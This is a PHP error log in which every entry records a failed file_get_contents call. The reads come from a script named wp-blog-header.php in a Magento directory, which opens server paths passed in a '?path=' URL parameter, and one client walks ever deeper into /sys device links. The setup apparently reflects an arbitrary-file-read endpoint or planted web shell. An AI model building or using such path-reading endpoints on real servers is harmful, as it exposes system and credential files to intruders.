[Thu Mar 26 14:53:56.171737 2026] [php:warn] [pid 3216401] [client 74.7.241.26:56806] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fe/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fe/subsystem/devices/device:be
[Thu Mar 26 14:53:59.435180 2026] [php:warn] [pid 3216401] [client 74.7.241.26:56806] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/subsystem/drivers/ac
[Thu Mar 26 14:54:02.718148 2026] [php:warn] [pid 3216401] [client 74.7.241.26:56806] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/subsystem/drivers/ac
[Thu Mar 26 14:54:03.218376 2026] [php:warn] [pid 3216401] [client 74.7.241.26:56806] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:af/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:af/subsystem/devices/device:fa
[Thu Mar 26 14:54:03.842554 2026] [php:warn] [pid 3216401] [client 74.7.241.26:56806] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fa/subsystem
[Thu Mar 26 14:54:09.707677 2026] [php:warn] [pid 3216401] [client 74.7.241.26:56806] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ce/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ce/subsystem/devices/device:fa
[Thu Mar 26 14:54:18.182110 2026] [php:warn] [pid 3216401] [client 74.7.241.26:56806] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/device:ae/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ad/device:ae/subsystem
[Thu Mar 26 14:54:18.724653 2026] [php:warn] [pid 3216401] [client 74.7.241.26:56806] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/subsystem/drivers/ec
[Thu Mar 26 14:54:19.771830 2026] [php:warn] [pid 3216401] [client 74.7.241.26:56806] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea
[Thu Mar 26 14:54:20.322645 2026] [php:warn] [pid 3216401] [client 74.7.241.26:56806] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/subsystem/devices/device:ce
[Thu Mar 26 14:54:26.394000 2026] [php:warn] [pid 3216147] [client 74.7.241.26:46628] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fe/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fe/subsystem/devices/device:ac
[Thu Mar 26 14:54:26.837777 2026] [php:warn] [pid 3216147] [client 74.7.241.26:46628] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ef/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ef/subsystem/devices/device:aa
[Thu Mar 26 14:54:28.455621 2026] [php:warn] [pid 3216147] [client 74.7.241.26:46628] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/subsystem/devices/device:ac
[Thu Mar 26 14:54:38.959872 2026] [php:warn] [pid 3216147] [client 74.7.241.26:46628] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/subsystem/devices/device:cc
[Thu Mar 26 14:54:41.017670 2026] [php:warn] [pid 3216147] [client 74.7.241.26:46628] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dc/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dc/subsystem/devices/device:fa
[Thu Mar 26 14:54:41.485285 2026] [php:warn] [pid 3216147] [client 74.7.241.26:46628] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/subsystem/drivers/ac
[Thu Mar 26 14:54:43.102174 2026] [php:warn] [pid 3216147] [client 74.7.241.26:46628] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ea/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ea/subsystem/devices/device:ea
[Thu Mar 26 14:54:45.827772 2026] [php:warn] [pid 3216147] [client 74.7.241.26:46628] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/drivers/ec
[Thu Mar 26 14:54:46.882422 2026] [php:warn] [pid 3216147] [client 74.7.241.26:46628] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/subsystem/devices/device:ee
[Thu Mar 26 14:54:47.973269 2026] [php:warn] [pid 3216147] [client 74.7.241.26:46628] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/subsystem
[Thu Mar 26 14:54:49.550208 2026] [php:warn] [pid 3216147] [client 74.7.241.26:46628] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cc/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cc/subsystem/devices/device:ec
[Thu Mar 26 14:54:55.521001 2026] [php:warn] [pid 3216147] [client 74.7.241.26:46628] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dd/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dd/subsystem/devices/device:fc
[Thu Mar 26 14:54:58.151410 2026] [php:warn] [pid 3216147] [client 74.7.241.26:46628] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/subsystem/drivers/ec
[Thu Mar 26 14:55:01.410687 2026] [php:warn] [pid 3216147] [client 74.7.241.26:46628] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/subsystem
[Thu Mar 26 14:55:06.059532 2026] [php:warn] [pid 3216147] [client 74.7.241.26:46628] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/subsystem/devices/device:ae
[Thu Mar 26 14:55:20.732141 2026] [php:warn] [pid 3216401] [client 74.7.241.26:38546] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:af/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:af/subsystem/drivers/ec
[Thu Mar 26 14:55:26.688366 2026] [php:warn] [pid 3216401] [client 74.7.241.26:38546] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/subsystem/devices/device:ee
[Thu Mar 26 14:55:27.256895 2026] [php:warn] [pid 3216401] [client 74.7.241.26:38546] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ef/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ef/subsystem/devices/device:da
[Thu Mar 26 14:55:27.807794 2026] [php:warn] [pid 3216401] [client 74.7.241.26:38546] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cc/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cc/subsystem/devices/device:ae
[Thu Mar 26 14:55:28.293559 2026] [php:warn] [pid 3216401] [client 74.7.241.26:38546] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bc/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bc/subsystem/devices/device:fa
[Thu Mar 26 14:55:29.367537 2026] [php:warn] [pid 3216401] [client 74.7.241.26:38546] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cc/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cc/subsystem/devices/device:ce
[Thu Mar 26 14:55:30.432506 2026] [php:warn] [pid 3216401] [client 74.7.241.26:38546] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:aa/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:aa/subsystem/devices/device:fc
[Thu Mar 26 14:55:30.918212 2026] [php:warn] [pid 3216401] [client 74.7.241.26:38546] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/subsystem/devices/device:ac
[Thu Mar 26 14:55:36.241069 2026] [php:warn] [pid 3216401] [client 74.7.241.26:38546] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fd/subsystem/drivers/ec
[Thu Mar 26 14:55:37.365614 2026] [php:warn] [pid 3216401] [client 74.7.241.26:38546] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:dc
[Thu Mar 26 14:55:38.939436 2026] [php:warn] [pid 3216401] [client 74.7.241.26:38546] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe
[Thu Mar 26 14:55:43.919079 2026] [php:warn] [pid 3216401] [client 74.7.241.26:38546] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bd/subsystem/devices/device:fe
[Thu Mar 26 14:55:46.112709 2026] [php:warn] [pid 3216401] [client 74.7.241.26:38546] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/subsystem/devices/device:fc
[Thu Mar 26 14:55:51.367592 2026] [php:warn] [pid 3216401] [client 74.7.241.26:38546] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fa/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fa/subsystem/drivers/ac
[Thu Mar 26 14:55:51.946107 2026] [php:warn] [pid 3216401] [client 74.7.241.26:38546] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fe/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fe/subsystem/devices/device:da
[Thu Mar 26 14:55:56.646861 2026] [php:warn] [pid 3216401] [client 74.7.241.26:38546] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:af/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:af/subsystem/devices/device:be
[Thu Mar 26 14:55:57.278232 2026] [php:warn] [pid 3216401] [client 74.7.241.26:38546] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fc/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fc/subsystem/devices/device:ea
[Thu Mar 26 14:55:59.279285 2026] [php:warn] [pid 3216401] [client 74.7.241.26:38546] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/subsystem/devices/device:bc
[Thu Mar 26 14:56:04.062981 2026] [php:warn] [pid 3216401] [client 74.7.241.26:38546] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/subsystem/drivers/ac
